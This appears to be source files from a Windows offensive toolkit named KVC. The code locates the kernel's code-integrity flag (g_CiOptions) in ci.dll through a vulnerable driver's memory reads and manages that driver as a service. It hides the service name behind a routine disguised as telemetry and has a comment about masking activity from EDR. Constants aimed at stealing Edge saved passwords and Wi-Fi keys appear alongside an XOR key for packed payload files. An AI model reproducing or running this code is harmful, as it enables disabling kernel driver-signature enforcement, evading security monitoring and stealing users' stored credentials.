            }
            if ((hit.TargetRva % 4) != 0) {
                continue;
            }

            const DWORD idx = (hit.TargetRva - dataRva) / sizeof(DWORD);
            if (idx >= numCandidates) {
                continue;
            }

            auto& c = candidates[idx];
            const DWORD refRva = section.VirtualAddress + i;

            // Approximate distinct-function count: count a new function if the
            // previous reference was more than 0x200 bytes away.
            if (c.TotalHits > 0 && (refRva - c.LastRefRva) > 0x200) {
                c.DistinctFuncApx++;
            }
            c.LastRefRva = refRva;
            c.TotalHits++;
            c.KindMask |= hit.KindMask;

            // Base score from the generic scorer (flag mask awareness baked in).
            c.Score += hit.Score;

            // Win10-specific: extra weight for CI-critical high-bit families.
            if ((hit.KindMask & (kRipKindTest | kRipKindCmp)) != 0 &&
                hit.ImmValue != 0) {
                if ((hit.ImmValue & 0x200000U) || (hit.ImmValue & 0x800000U)) {
                    if ((c.DirectHighMasks & 0x2) == 0) {
                        c.DirectHighMasks |= 0x2;
                        c.Score += 30;
                    }
                } else if ((hit.ImmValue & 0x4000U) || (hit.ImmValue & 0x8000U)) {
                    if ((c.DirectHighMasks & 0x1) == 0) {
                        c.DirectHighMasks |= 0x1;
                        c.Score += 20;
                    }
                }
            }

            if ((hit.KindMask & (kRipKindBt | kRipKindBts)) != 0) {
                c.BitOpsCount++;
                // Score already in hit.Score; no double-count here.
            }

            // Lookahead after mov: check the next test/and for any mask bits.
            // Catches both low-bit evidence and high-bit family tests that the
            // compiler emits as "mov reg,[rip+x] / test reg,highMask" rather
            // than the direct "test [rip+x],highMask" memory form.
            if ((hit.KindMask & kRipKindMov) != 0 && hit.InstrLen > 0) {
                const DWORD afterByte = i + prefixLen + hit.InstrLen;
                if (afterByte < span) {
                    const DWORD fullMask =
                        LookAheadTestMask(code + afterByte, span - afterByte);

                    if (fullMask != 0) {
                        // High-bit family via register (lower bonus than direct test)
                        if ((fullMask & 0x200000U) || (fullMask & 0x800000U)) {
                            if ((c.DirectHighMasks & 0x2) == 0) {
                                c.DirectHighMasks |= 0x2;
                                c.Score += 20;
                            }
                        } else if ((fullMask & 0x4000U) || (fullMask & 0x8000U)) {
                            if ((c.DirectHighMasks & 0x1) == 0) {
                                c.DirectHighMasks |= 0x1;
                                c.Score += 15;
                            }
                        }

                        // Low-bit evidence (bits 0-4)
                        const DWORD lowBits = fullMask & 0x1F;
                        const DWORD newLow  = lowBits & ~c.LowBitEvidence;
                        if (newLow != 0) {
                            c.LowBitEvidence |= newLow;
                            c.Score += 12 * CountBits(newLow);
                        }
                    }
                }
            }
        }
    }

    // Post-scan bonuses
    for (auto& c : candidates) {
        // Distinct-function bonus (capped to avoid runaway)
        c.Score += std::min<LONG>(
            static_cast<LONG>(c.DistinctFuncApx) * 3, 60);

        // xref volume bonus (log-ish steps)
        if (c.TotalHits >= 5)  { c.Score +=  5; }
        if (c.TotalHits >= 15) { c.Score += 10; }
        if (c.TotalHits >= 30) { c.Score += 15; }
        if (c.TotalHits >= 60) { c.Score += 20; }

        // Penalty: candidate has only "policy/developer-like" masks without
        // any bit-test evidence - likely a different CI variable.
        if (c.DirectHighMasks == 0 && c.LowBitEvidence == 0 &&
            c.BitOpsCount == 0) {
            c.Score -= 40;
        }
    }

    // --- Select winner from semantically qualified candidates only ---
    //
    // Qualification requires EITHER a direct high-bit family test (memory form)
    // OR at least 2 bt/bts operations, PLUS low-bit evidence from mov->lookahead.
    //
    // Key insight: high-volume non-flag variables (locks, counters, pointers) may
    // accumulate a large raw score but lack bts ops and specific flag-bit tests.
    // By restricting the selection pool to qualified candidates and computing the
    // margin only within that pool, such variables cannot crowd out g_CiOptions.

    const Win10Candidate* winner = nullptr;
    const Win10Candidate* runner = nullptr;

    for (const auto& c : candidates) {
        if (c.Score < 50) {
            continue;
        }
        const bool cHasHighBit = (c.DirectHighMasks != 0);
        const bool cHasBitOps  = (c.BitOpsCount >= 2);
        const bool cHasLowBit  = (c.LowBitEvidence != 0) || (c.BitOpsCount > 0);

        if (!((cHasHighBit || cHasBitOps) && cHasLowBit)) {
            continue;
        }

        if (!winner || c.Score > winner->Score) {
            runner = winner;
            winner = &c;
        } else if (!runner || c.Score > runner->Score) {
            runner = &c;
        }
    }

    if (!winner) {
        INFO(L"Win10 .data probe: no qualified candidate found");
        return std::nullopt;
    }

    const LONG winScore = winner->Score;
    const LONG runScore = runner ? runner->Score : -1;

    // Margin check among qualified candidates only.
    const bool clearMargin = (runScore < 0) ||
                              (winScore >= runScore + std::max<LONG>(runScore / 4, 1));

    if (!clearMargin) {
        INFO(L"Win10 .data probe inconclusive: margin too small "
             L"(best=%ld, second=%ld, highMasks=0x%X, lowBits=0x%X, bitOps=%lu)",
             winScore, runScore,
             winner->DirectHighMasks, winner->LowBitEvidence, winner->BitOpsCount);
        return std::nullopt;
    }

    // Light sanity check: read live value to detect obvious misidentification.
    // A non-zero high byte suggests a pointer or counter, not a DWORD flags field.
    // Log a warning but still return - the caller validates and logs the value too.
    auto liveHint = m_driver->Read32(ciBase + winner->Rva);
    if (liveHint && (liveHint.value() & 0xFF000000U) != 0) {
        INFO(L"Win10 .data probe WARNING: winner RVA=0x%X live value=0x%08X "
             L"has high byte set (score=%ld, bitOps=%lu) - verify result",
             winner->Rva, liveHint.value(), winScore, winner->BitOpsCount);
    }

    const ULONG_PTR resultAddr = ciBase + winner->Rva;
    SUCCESS(L"g_CiOptions via Win10 .data probe: 0x%llX  "
            L"(RVA=0x%X, score=%ld, hits=%lu, highMasks=0x%X, lowBits=0x%X, bitOps=%lu)",
            resultAddr, winner->Rva, winScore, winner->TotalHits,
            winner->DirectHighMasks, winner->LowBitEvidence, winner->BitOpsCount);
    return resultAddr;
}

std::optional<DWORD> CiOptionsFinder::GetCiOptionsBuildFallbackOffset() noexcept {
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    if (!ntdll) {
        return std::nullopt;
    }

    using RtlGetVersionFn = LONG (WINAPI*)(PRTL_OSVERSIONINFOW);
    auto rtlGetVersion = reinterpret_cast<RtlGetVersionFn>(
        GetProcAddress(ntdll, "RtlGetVersion"));
    if (!rtlGetVersion) {
        return std::nullopt;
    }

    RTL_OSVERSIONINFOW vi{};
    vi.dwOSVersionInfoSize = sizeof(vi);
    if (rtlGetVersion(&vi) != 0) {
        return std::nullopt;
    }

    // 26H1 (build 26100) moved g_CiOptions from CiPolicy+0x4 to CiPolicy+0x8.
    return (vi.dwBuildNumber >= 26100)
        ? std::optional<DWORD>(0x8)
        : std::optional<DWORD>(0x4);
}

<<<FILE: kvc/CiOptionsFinder.h>>>
Created:  2026-04-10 17:40:46
Modified: 2026-04-10 17:40:46
Size:     1.77 KB
// CiOptionsFinder.h
// Locates g_CiOptions in the loaded ci.dll kernel module.
//
// Win11 strategy: CiPolicy section found -> RIP-relative probe into CiPolicy -> build fallback.
// Win10 strategy: no CiPolicy section -> RIP-relative probe into .data with high/low-bit scoring.

#pragma once

#include "kvcDrv.h"
#include <memory>
#include <optional>
#include <utility>
#include <string>

class CiOptionsFinder {
public:
    explicit CiOptionsFinder(std::unique_ptr<kvc>& driver) noexcept;

    // Find g_CiOptions kernel address given the live ci.dll kernel base.
    // Returns 0 on failure.
    ULONG_PTR FindCiOptions(ULONG_PTR ciBase) noexcept;

private:
    std::unique_ptr<kvc>& m_driver;

    // Live kernel PE walk via driver reads - finds CiPolicy section address+size.
    std::optional<std::pair<ULONG_PTR, SIZE_T>> GetCiPolicySection(ULONG_PTR moduleBase) noexcept;

    // Offline disk probe: scan code sections of ci.dll for RIP-relative refs into CiPolicy.
    std::optional<DWORD> FindCiOptionsOffsetFromCiPolicy(const std::wstring& ciPath,
                                                          ULONG_PTR ciPolicyStart,
                                                          SIZE_T ciPolicySize) noexcept;

    // Build-number-based fallback offset (+0x4 pre-26H1, +0x8 from 26H1).
    std::optional<DWORD> GetCiOptionsBuildFallbackOffset() noexcept;

    // Win10 path: scan RIP-relative refs into .data with high/low-bit family scoring.
    // Returns kernel address directly (ciBase + rva), or nullopt on failure.
    std::optional<ULONG_PTR> FindCiOptionsInDataSection(const std::wstring& ciPath,
                                                         ULONG_PTR ciBase) noexcept;

    // Resolve on-disk path to ci.dll.
    std::optional<std::wstring> GetCiDllPath() noexcept;
};

<<<FILE: kvc/common.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-04 23:13:18
Size:     5.98 KB
// Implements service management, system path resolution, Windows API abstraction,
// and memory manager pool diagnostic telemetry integration for kernel operations.
// Provides dynamic API loading for service control and driver communication.
 

#include "common.h"
#include "ServiceManager.h"
#include <Windows.h>
#include <string>

#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "DbgHelp.lib")
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Advapi32.lib")

volatile bool g_interrupted = false;

ModuleHandle g_advapi32;
SystemModuleHandle g_kernel32;

decltype(&CreateServiceW) g_pCreateServiceW = nullptr;
decltype(&OpenServiceW) g_pOpenServiceW = nullptr;
decltype(&StartServiceW) g_pStartServiceW = nullptr;
decltype(&DeleteService) g_pDeleteService = nullptr;
decltype(&CreateFileW) g_pCreateFileW = nullptr;
decltype(&ControlService) g_pControlService = nullptr;
decltype(&NotifyServiceStatusChangeW) g_pNotifyServiceStatusChangeW = nullptr;

// Loads advapi32.dll and kernel32.dll, resolves service management function pointers
bool InitDynamicAPIs() noexcept 
{
    if (!g_advapi32) {
        HMODULE raw_advapi32 = LoadLibraryA("advapi32.dll");
        if (!raw_advapi32) {
            DEBUG(L"Failed to load advapi32.dll: %d", GetLastError());
            return false;
        }
        
        g_advapi32.reset(raw_advapi32);
        
        g_pCreateServiceW = reinterpret_cast<decltype(&CreateServiceW)>(
            GetProcAddress(g_advapi32.get(), "CreateServiceW"));
            
        g_pOpenServiceW = reinterpret_cast<decltype(&OpenServiceW)>(
            GetProcAddress(g_advapi32.get(), "OpenServiceW"));
            
        g_pStartServiceW = reinterpret_cast<decltype(&StartServiceW)>(
            GetProcAddress(g_advapi32.get(), "StartServiceW"));
            
        g_pDeleteService = reinterpret_cast<decltype(&DeleteService)>(
            GetProcAddress(g_advapi32.get(), "DeleteService"));
            
        g_pControlService = reinterpret_cast<decltype(&ControlService)>(
            GetProcAddress(g_advapi32.get(), "ControlService"));
			
		g_pNotifyServiceStatusChangeW = reinterpret_cast<decltype(&NotifyServiceStatusChangeW)>(
			GetProcAddress(g_advapi32.get(), "NotifyServiceStatusChangeW"));
        
        if (!g_pCreateServiceW || !g_pOpenServiceW || !g_pStartServiceW || 
            !g_pDeleteService || !g_pControlService) {
            DEBUG(L"Failed to resolve advapi32 function pointers");
            return false;
        }
    }
    
    if (!g_kernel32) {
        HMODULE raw_kernel32 = GetModuleHandleA("kernel32.dll");
        if (raw_kernel32) {
            g_kernel32.reset(raw_kernel32);
            
            g_pCreateFileW = reinterpret_cast<decltype(&CreateFileW)>(
                GetProcAddress(g_kernel32.get(), "CreateFileW"));
                
            if (!g_pCreateFileW) {
                DEBUG(L"Failed to resolve kernel32 CreateFileW");
                return false;
            }
        } else {
            DEBUG(L"Failed to get kernel32.dll handle: %d", GetLastError());
            return false;
        }
    }
    
    return g_pCreateServiceW && g_pOpenServiceW && g_pStartServiceW && 
           g_pDeleteService && g_pCreateFileW && g_pControlService;
}

// Checks if service registry entry exists by attempting to open it
bool IsServiceInstalled() noexcept 
{
    if (!InitDynamicAPIs()) {
        DEBUG(L"InitDynamicAPIs failed in IsServiceInstalled");
        return false;
    }
    
    SCManagerGuard scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
    if (!scm) {
        DEBUG(L"OpenSCManager failed: %d", GetLastError());
        return false;
    }

    ServiceHandleGuard service(g_pOpenServiceW(scm.get(), ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS));
    
    return static_cast<bool>(service);
}

// Queries service status and verifies it's in SERVICE_RUNNING state
bool IsServiceRunning() noexcept 
{
    if (!InitDynamicAPIs()) {
        DEBUG(L"InitDynamicAPIs failed in IsServiceRunning");
        return false;
    }
    
    SCManagerGuard scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
    if (!scm) {
        DEBUG(L"OpenSCManager failed: %d", GetLastError());
        return false;
    }

    ServiceHandleGuard service(g_pOpenServiceW(scm.get(), ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS));
    if (!service) {
        DEBUG(L"OpenService failed: %d", GetLastError());
        return false;
    }
    
    SERVICE_STATUS status{};
    if (!QueryServiceStatus(service.get(), &status)) {
        DEBUG(L"QueryServiceStatus failed: %d", GetLastError());
        return false;
    }
    
    return (status.dwCurrentState == SERVICE_RUNNING);
}

// Returns full path to current executable
std::wstring GetCurrentExecutablePath() noexcept 
{
    wchar_t path[MAX_PATH];
    if (GetModuleFileNameW(nullptr, path, MAX_PATH) == 0) {
        DEBUG(L"GetModuleFileNameW failed: %d", GetLastError());
        return L"";
    }
    return std::wstring(path);
}

// Retrieves pool diagnostic telemetry string from kernel subsystem (implemented in MmPoolTelemetry.asm)
extern "C" const wchar_t* MmGetPoolDiagnosticString();

// Returns driver service identifier from pool telemetry subsystem
std::wstring GetServiceName() noexcept 
{
    return std::wstring(MmGetPoolDiagnosticString());
}

// Returns kernel driver filename
std::wstring GetDriverFileName() noexcept
{
    return L"kvc.sys";
}

// Returns kvcstrm filename
std::wstring GetKvcstrmFileName() noexcept
{
    return L"kvcstrm.sys";
}

// Returns Windows\Temp directory path with fallbacks
std::wstring GetSystemTempPath() noexcept {
    wchar_t windowsDir[MAX_PATH];
    
    if (GetWindowsDirectoryW(windowsDir, MAX_PATH) > 0) {
        std::wstring result = windowsDir;
        return result + L"\\Temp";
    }
    
    wchar_t tempDir[MAX_PATH];
    if (GetTempPathW(MAX_PATH, tempDir) > 0) {
        return std::wstring(tempDir);
    }
    
    return L"C:\\Windows\\Temp";
}

// Generates benign system activity to mask driver operations from EDR

<<<FILE: kvc/common.h>>>
Created:  2026-04-12 14:53:07
Modified: 2026-05-03 17:13:12
Size:     25.4 KB
// common.h
// Common definitions, utilities and includes for KVC Framework

#pragma once

#include <Windows.h>
#include <winternl.h>
#include <DbgHelp.h>
#include <Shellapi.h>
#include <Shlobj.h>
#include <accctrl.h>
#include <aclapi.h>
#include <wincrypt.h>
#include <iostream>
#include <string>
#include <optional>
#include <sstream>
#include <array>
#include <chrono>
#include <memory>
#include <vector>
#include <algorithm>
#include <iomanip>
#include <filesystem>

#pragma comment(lib, "crypt32.lib")

// Session management constants
inline constexpr int MAX_SESSIONS = 16;

#ifdef BUILD_DATE
    #define __DATE__ BUILD_DATE
#endif

#ifdef BUILD_TIME  
    #define __TIME__ BUILD_TIME
#endif

#define kvc_DEBUG_ENABLED 0

#ifdef ERROR
#undef ERROR
#endif

#ifndef SHTDN_REASON_MAJOR_SOFTWARE
#define SHTDN_REASON_MAJOR_SOFTWARE 0x00030000
#endif

#ifndef SHTDN_REASON_MINOR_RECONFIGURE  
#define SHTDN_REASON_MINOR_RECONFIGURE 0x00000004
#endif

// Smart module handle management

// Custom deleter for HMODULE with FreeLibrary
struct ModuleDeleter {
    void operator()(HMODULE mod) const noexcept {
        if (mod) {
            FreeLibrary(mod);
        }
    }
};

// Custom deleter for system modules (no cleanup needed)
struct SystemModuleDeleter {
    void operator()(HMODULE) const noexcept {
        // System modules obtained via GetModuleHandle don't need to be freed
    }
};

using ModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, ModuleDeleter>;
using SystemModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, SystemModuleDeleter>;

// ============================================================================
// RAII GUARDS FOR WINDOWS RESOURCES
//
// All guards are aliases of a single policy-based template WinHandle<Policy>.
//
// Why Policy structs instead of NTTP NullValue?
//   INVALID_HANDLE_VALUE is (HANDLE)(LONG_PTR)(-1) — a reinterpret_cast —
//   which the C++ standard forbids as a non-type template argument for pointer
//   types. A Policy struct sidesteps this entirely: null sentinel, validity
//   check, and close function are bundled in one type, resolved at compile
//   time with zero runtime cost.
//
// Each Policy must provide:
//   handle_type              — the Win32 handle typedef
//   static handle_type null_value() noexcept   — the "empty" sentinel
//   static bool        is_null(handle_type)    — true when no resource held
//   static void        close(handle_type)      — release the resource
// ============================================================================

// ---------------------------------------------------------------------------
// Policy definitions
// ---------------------------------------------------------------------------

// Generic kernel-object HANDLE (OpenProcess, OpenThread, CreateEvent, ...).
// Treats both nullptr AND INVALID_HANDLE_VALUE as null — because some APIs
// return nullptr on failure and others return INVALID_HANDLE_VALUE, and
// CloseHandle on either form is undefined on some Windows builds.
struct HandlePolicy {
    using handle_type = HANDLE;
    // null_value() is constexpr (returns nullptr literal).
    // is_null() is NOT constexpr: INVALID_HANDLE_VALUE is (void*)(LONG_PTR)(-1),
    // a reinterpret_cast, which the standard forbids in constant expressions.
    static constexpr HANDLE null_value() noexcept { return nullptr; }
    static bool is_null(HANDLE h) noexcept {
        return h == nullptr || h == INVALID_HANDLE_VALUE;
    }
    static void close(HANDLE h) noexcept { CloseHandle(h); }
};

// CreateFile / CreateToolhelp32Snapshot.
// These APIs never return nullptr — only INVALID_HANDLE_VALUE on failure.
// CloseHandle(nullptr) is UB; using INVALID_HANDLE_VALUE as the sole sentinel
// keeps the guard honest about what it actually protects.
// Neither null_value() nor is_null() can be constexpr (reinterpret_cast).
struct FilePolicy {
    using handle_type = HANDLE;
    static HANDLE null_value() noexcept { return INVALID_HANDLE_VALUE; }
    static bool   is_null(HANDLE h) noexcept { return h == INVALID_HANDLE_VALUE; }
    static void   close(HANDLE h)   noexcept { CloseHandle(h); }
};

// HKEY from RegOpenKeyEx / RegCreateKeyEx.
struct RegKeyPolicy {
    using handle_type = HKEY;
    static constexpr HKEY null_value() noexcept { return nullptr; }
    static constexpr bool is_null(HKEY h) noexcept { return h == nullptr; }
    static void close(HKEY h) noexcept { RegCloseKey(h); }
};

// SC_HANDLE from OpenSCManager / OpenService / CreateService.
struct SCHandlePolicy {
    using handle_type = SC_HANDLE;
    static constexpr SC_HANDLE null_value() noexcept { return nullptr; }
    static constexpr bool      is_null(SC_HANDLE h) noexcept { return h == nullptr; }
    static void                close(SC_HANDLE h)   noexcept { CloseServiceHandle(h); }
};

// ---------------------------------------------------------------------------
// WinHandle<Policy> — single template, all guards derive from it
// ---------------------------------------------------------------------------

template<typename Policy>
class WinHandle {
public:
    using handle_type = typename Policy::handle_type;

    explicit WinHandle(handle_type h = Policy::null_value()) noexcept : m_h(h) {}
    ~WinHandle() noexcept { reset(); }

    WinHandle(const WinHandle&)            = delete;
    WinHandle& operator=(const WinHandle&) = delete;

    WinHandle(WinHandle&& o) noexcept : m_h(o.release()) {}
    WinHandle& operator=(WinHandle&& o) noexcept {
        if (this != &o) { reset(); m_h = o.release(); }
        return *this;
    }

    void reset(handle_type h = Policy::null_value()) noexcept {
        if (!Policy::is_null(m_h)) Policy::close(m_h);
        m_h = h;
    }

    handle_type  release()   noexcept {
        handle_type h = m_h;
        m_h = Policy::null_value();
        return h;
    }
    handle_type  get()       const noexcept { return m_h; }
    handle_type* addressof() noexcept { return &m_h; }
    explicit operator bool() const noexcept { return !Policy::is_null(m_h); }

private:
    handle_type m_h;
};

// ---------------------------------------------------------------------------
// Concrete aliases — all call sites unchanged
// ---------------------------------------------------------------------------

using HandleGuard        = WinHandle<HandlePolicy>;
using TokenGuard         = HandleGuard;
using FileGuard          = WinHandle<FilePolicy>;
using SnapshotGuard      = WinHandle<FilePolicy>;
using RegKeyGuard        = WinHandle<RegKeyPolicy>;
using SCManagerGuard     = WinHandle<SCHandlePolicy>;
using ServiceHandleGuard = SCManagerGuard;

// Privilege enabler guard (restores privilege state on destruction)
class PrivilegeGuard {
public:
    PrivilegeGuard(HANDLE token, LPCWSTR privilege) noexcept
        : m_token(token), m_enabled(false), m_hadPrivilege(false) {
        if (!token || !privilege) return;

        LUID luid;
        if (!LookupPrivilegeValueW(nullptr, privilege, &luid)) return;

        // Check current state
        PRIVILEGE_SET ps = {};
        ps.PrivilegeCount = 1;
        ps.Privilege[0].Luid = luid;
        ps.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;

        BOOL hasPriv = FALSE;
        if (PrivilegeCheck(token, &ps, &hasPriv) && hasPriv) {
            m_hadPrivilege = true;
            m_enabled = true;
            return;
        }

        // Enable privilege
        TOKEN_PRIVILEGES tp = {};
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        m_luid = luid;
        if (AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp), nullptr, nullptr) &&
            GetLastError() == ERROR_SUCCESS) {
            m_enabled = true;
        }
    }

    ~PrivilegeGuard() noexcept {
        if (m_enabled && !m_hadPrivilege && m_token) {
            TOKEN_PRIVILEGES tp = {};
            tp.PrivilegeCount = 1;
            tp.Privileges[0].Luid = m_luid;
            tp.Privileges[0].Attributes = 0; // Disable
            AdjustTokenPrivileges(m_token, FALSE, &tp, sizeof(tp), nullptr, nullptr);
        }
    }

    PrivilegeGuard(const PrivilegeGuard&) = delete;
    PrivilegeGuard& operator=(const PrivilegeGuard&) = delete;

    bool enabled() const noexcept { return m_enabled; }

private:
    HANDLE m_token;
    LUID m_luid = {};
    bool m_enabled;
    bool m_hadPrivilege;
};

// Impersonation guard (reverts on destruction)
class ImpersonationGuard {
public:
    // Default constructor - no impersonation active
    ImpersonationGuard() noexcept : m_impersonating(false) {}

    // Construct with token - performs ImpersonateLoggedOnUser
    explicit ImpersonationGuard(HANDLE token) noexcept : m_impersonating(false) {
        if (token && ImpersonateLoggedOnUser(token)) {
            m_impersonating = true;
        }
    }

    ~ImpersonationGuard() noexcept {
        revert();
    }

    ImpersonationGuard(const ImpersonationGuard&) = delete;
    ImpersonationGuard& operator=(const ImpersonationGuard&) = delete;

    ImpersonationGuard(ImpersonationGuard&& other) noexcept
        : m_impersonating(other.m_impersonating) {
        other.m_impersonating = false;
    }

    ImpersonationGuard& operator=(ImpersonationGuard&& other) noexcept {
        if (this != &other) {
            revert();
            m_impersonating = other.m_impersonating;
            other.m_impersonating = false;
        }
        return *this;
    }

    // Adopt an already-active impersonation (after manual ImpersonateLoggedOnUser)
    void adopt() noexcept {
        m_impersonating = true;
    }

    void revert() noexcept {
        if (m_impersonating) {
            RevertToSelf();
            m_impersonating = false;
        }
    }

    bool impersonating() const noexcept { return m_impersonating; }

    // Release ownership without reverting
    void release() noexcept { m_impersonating = false; }

private:
    bool m_impersonating;
};

// Fixed logging system with proper buffer size and variadic handling

// Print formatted message with prefix
template<typename... Args>
void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
{
    std::wstringstream ss;
    ss << prefix;
    
    if constexpr (sizeof...(args) == 0)
    {
        ss << format;
    }
    else
    {
        wchar_t buffer[1024];
        swprintf_s(buffer, 1024, format, std::forward<Args>(args)...);
        ss << buffer;
    }
    
    ss << L"\r\n";
    std::wcout << ss.str();
    std::wcout.flush();  // <--- DODAJ TO!
}

// Print critical message in red color
template<typename... Args>
void PrintCriticalMessage(const wchar_t* format, Args&&... args) {
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_SCREEN_BUFFER_INFO csbi;
    GetConsoleScreenBufferInfo(hConsole, &csbi);
    WORD originalColor = csbi.wAttributes;
    
    SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
    
    std::wstringstream ss;
    ss << L"[!] ";
    
    if constexpr (sizeof...(args) > 0) {
        wchar_t buffer[1024];
        swprintf_s(buffer, 1024, format, std::forward<Args>(args)...);
        ss << buffer;
    } else {
        ss << format;
    }
    
    ss << L"\r\n";
    std::wcout << ss.str();
    std::wcout.flush();

    
    SetConsoleTextAttribute(hConsole, originalColor);
}

#if kvc_DEBUG_ENABLED
    #define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, ##__VA_ARGS__)
#else
    #define DEBUG(format, ...) do {} while(0)
#endif

#define ERROR(format, ...) PrintMessage(L"[-] ", format, ##__VA_ARGS__)
#define INFO(format, ...) PrintMessage(L"[*] ", format, ##__VA_ARGS__)
#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, ##__VA_ARGS__)
#define CRITICAL(format, ...) PrintCriticalMessage(format, ##__VA_ARGS__)

// Log last error for failed function
#define LASTERROR(f) \
    do { \
        wchar_t buf[256]; \
        swprintf_s(buf, 256, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \
        std::wcout << buf; \
    } while(0)

// Windows protection type definitions

// Process protection level enumeration
enum class PS_PROTECTED_TYPE : UCHAR
{
    None = 0,
    ProtectedLight = 1,
    Protected = 2
};

// Process signer type enumeration
enum class PS_PROTECTED_SIGNER : UCHAR
{
    None = 0,
    Authenticode = 1,
    CodeGen = 2,
    Antimalware = 3,
    Lsa = 4,
    Windows = 5,
    WinTcb = 6,
    WinSystem = 7,
    App = 8,
    Max = 9
};

// Service-related constants
namespace ServiceConstants {
    inline constexpr wchar_t SERVICE_NAME[] = L"KernelVulnerabilityControl";
    inline constexpr wchar_t SERVICE_DISPLAY_NAME[] = L"Kernel Vulnerability Capabilities Framework";
    inline constexpr wchar_t SERVICE_PARAM[] = L"--service";
    
    // Keyboard hook settings
    inline constexpr int CTRL_SEQUENCE_LENGTH = 5;
    inline constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000;
    inline constexpr DWORD CTRL_DEBOUNCE_MS = 50;
}

// DPAPI constants for password extraction
namespace DPAPIConstants {
    inline constexpr int SQLITE_OK = 0;
    inline constexpr int SQLITE_ROW = 100;
    inline constexpr int SQLITE_DONE = 101;
    inline constexpr int SQLITE_OPEN_READONLY = 0x00000001;
    
    inline std::wstring GetEdgeUserData() { return L"\\Microsoft\\Edge\\User Data"; }
    inline std::wstring GetLocalStateFile() { return L"\\Local State"; }
    inline std::wstring GetLoginDataFile() { return L"\\Login Data"; }
    
    inline std::string GetEncryptedKeyField() { return "\"encrypted_key\":"; }
    
    inline std::string GetLocalAppData() { return "LOCALAPPDATA"; }
    
    inline std::wstring GetTempLoginDB() { return L"temp_login_data.db"; }
    inline std::wstring GetTempPattern() { return L"temp_login_data"; }
    
    inline std::string GetNetshShowProfiles() { return "netsh wlan show profiles"; }
    
    inline std::string GetWiFiProfileMarker() { return "All User Profile"; }
    
    inline std::string GetLoginQuery() { return "SELECT origin_url, username_value, password_value FROM logins"; }
    
    inline std::wstring GetStatusDecrypted() { return L"DECRYPTED"; }
}

// Dynamic API loading globals for driver operations
extern ModuleHandle g_advapi32;
extern SystemModuleHandle g_kernel32;
extern decltype(&CreateServiceW) g_pCreateServiceW;
extern decltype(&OpenServiceW) g_pOpenServiceW;
extern decltype(&StartServiceW) g_pStartServiceW;
extern decltype(&DeleteService) g_pDeleteService;
extern decltype(&CreateFileW) g_pCreateFileW;
extern decltype(&ControlService) g_pControlService;
extern decltype(&NotifyServiceStatusChangeW) g_pNotifyServiceStatusChangeW;

extern volatile bool g_interrupted;

// Core driver functions
bool InitDynamicAPIs() noexcept;
std::wstring GetServiceName() noexcept;
std::wstring GetDriverFileName() noexcept;
std::wstring GetKvcstrmFileName() noexcept;
std::wstring GetSystemTempPath() noexcept;

// Service utility functions
bool IsServiceInstalled() noexcept;
bool IsServiceRunning() noexcept;
std::wstring GetCurrentExecutablePath() noexcept;

// Get DriverStore path for driver operations
// Searches for actual avc.inf_amd64_* directory in DriverStore FileRepository
// Creates directory if needed, falls back to system32\drivers on failure
inline std::wstring GetDriverStorePath() noexcept {
    wchar_t windowsDir[MAX_PATH];
    if (GetWindowsDirectoryW(windowsDir, MAX_PATH) == 0) {
        wcscpy_s(windowsDir, L"C:\\Windows");
    }
    
    std::wstring baseResult = windowsDir;
    std::wstring driverStoreBase = baseResult + L"\\System32\\DriverStore\\FileRepository\\";
    
    // Dynamic search for avc.inf_amd64_* pattern in FileRepository
    WIN32_FIND_DATAW findData;
    std::wstring searchPattern = driverStoreBase + L"avc.inf_amd64_*";
    HANDLE hFind = FindFirstFileW(searchPattern.c_str(), &findData);
    
    if (hFind != INVALID_HANDLE_VALUE) {
        // Found existing directory - use first match
        do {
            if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
                FindClose(hFind);
                return driverStoreBase + findData.cFileName;
            }
        } while (FindNextFileW(hFind, &findData));
        FindClose(hFind);
    }
    
    // No existing directory found - create with TrustedInstaller privileges
    std::wstring targetPath = driverStoreBase + L"avc.inf_amd64_12ca23d60da30d59";
    return targetPath;
}

// Get DriverStore path with directory creation
// Enhanced version that ensures directory exists before returning path
inline std::wstring GetDriverStorePathSafe() noexcept {
    std::wstring driverPath = GetDriverStorePath();
    
    // Ensure directory exists - critical for driver operations
    DWORD attrs = GetFileAttributesW(driverPath.c_str());
    if (attrs == INVALID_FILE_ATTRIBUTES) {
        // Try to create if it doesn't exist
        if (!CreateDirectoryW(driverPath.c_str(), nullptr) && 
            GetLastError() != ERROR_ALREADY_EXISTS) {
            return L"";
        }
    } else if (!(attrs & FILE_ATTRIBUTE_DIRECTORY)) {
        return L"";
    }
    
    return driverPath;
}

// KVC combined binary processing constants
inline constexpr std::array<BYTE, 7> KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
inline constexpr wchar_t KVC_DATA_FILE[]           = L"kvc.dat";
inline constexpr wchar_t KVC_PASS_FILE[]           = L"kvc_pass.exe";
inline constexpr wchar_t KVC_CRYPT_FILE[]          = L"kvc_crypt.dll";
// UnderVolter module constants
inline constexpr wchar_t KVC_UNDERVOLTER_FILE[]    = L"UnderVolter.dat";
// KvcForensic module constants
